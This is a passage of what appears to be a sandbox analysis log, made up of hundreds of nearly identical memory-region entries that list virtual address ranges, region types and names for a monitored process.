0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8177 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8178 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8179 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8180 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8181 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8182 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8183 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8184 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8185 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8186 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8187 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8188 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8189 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8190 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8191 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8192 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8193 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8194 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8195 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8196 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8197 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8198 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8199 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8200 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 8201 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 8202 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 8203 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8204 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8205 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8206 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8207 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8208 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8209 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8210 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8211 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8212 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8213 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8214 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8215 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8216 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8217 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8218 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8219 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8220 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8221 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8222 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8223 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8224 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8225 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8226 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8227 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8228 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8229 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8230 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8231 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8232 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8233 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8234 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8235 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8236 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8237 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8238 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8239 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8240 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8241 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8242 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8243 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8244 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8245 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8246 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8247 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8248 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8249 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8250 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8251 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8252 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8253 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8254 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8255 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8256 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8257 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8258 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8259 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8260 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8261 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8262 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8263 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8264 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8265 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8266 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8267 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8268 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8269 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8270 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8271 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8272 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8273 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8274 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8275 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8276 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8277 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8278 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8279 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8280 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8281 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8282 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8283 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8284 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8285 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8286 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8287 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8288 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8289 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8290 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8291 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8292 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8293 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8294 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8295 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8296 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8297 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8298 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8299 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8300 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8301 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8302 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8303 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8304 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8305 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8306 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8307 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8308 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8309 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 8310 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 8311 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 8312 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8313 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8314 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8315 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8316 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8317 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8318 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8319 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8320 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8321 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8322 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8323 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8324 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8325 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8326 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8327 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8328 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8329 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8330 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8331 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8332 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8333 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8334 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8335 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8336 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8337 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8338 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8339 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8340 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8341 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8342 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8343 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8344 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8345 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8346 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8347 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8348 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8349 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8350 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8351 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8352 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8353 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8354 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 8355 start_va = 